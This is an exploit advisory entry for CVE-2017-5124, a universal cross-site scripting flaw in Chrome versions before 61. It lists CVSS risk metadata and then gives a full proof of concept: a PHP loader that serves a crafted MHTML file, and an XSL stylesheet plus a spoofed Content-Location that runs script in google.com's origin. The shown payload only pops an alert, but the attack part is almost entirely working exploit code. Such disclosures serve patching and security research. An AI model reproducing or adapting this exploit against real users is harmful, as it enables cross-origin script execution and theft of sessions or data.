Webkit (Chome < 61) MHTML Universal Cross-site Scripting

2018.11.15

Credit: Anton Lopanitsyn

Risk: Low

Local: No

Remote: Yes

CVE: CVE-2017-5124

CWE: CWE-79

CVSS Base Score: 4.3/10

Impact Subscore: 2.9/10

Exploitability Subscore: 8.6/10

Exploit range: Remote

Attack complexity: Medium

Authentication: No required

Confidentiality impact: None

Integrity impact: Partial

Availability impact: None

<?php
$filename=realpath("PoC.mht");
header( "Content-type: multipart/related");
readfile($filename);
?>
MIME-Version: 1.0
Content-Type: multipart/related;
type="text/html";
boundary="----MultipartBoundary--"
CVE-2017-5124
------MultipartBoundary--
Content-Type: application/xml;
<?xml version="1.0" encoding="UTF-8"?>
<?xml-stylesheet type="text/xml" href="#stylesheet"?>
<!DOCTYPE catalog [
<!ATTLIST xsl:stylesheet
id ID #REQUIRED>
]>
<xsl:stylesheet id="stylesheet" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
<xsl:template match="*">
<html><iframe style="display:none" src="https://google.com"></iframe></html>
</xsl:template>
</xsl:stylesheet>
------MultipartBoundary--
Content-Type: text/html
Content-Location: https://google.com
<script>alert('Location origin: '+location.origin)</script>
------MultipartBoundary----

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Webkit (Chome < 61) MHTML Universal Cross-site Scripting

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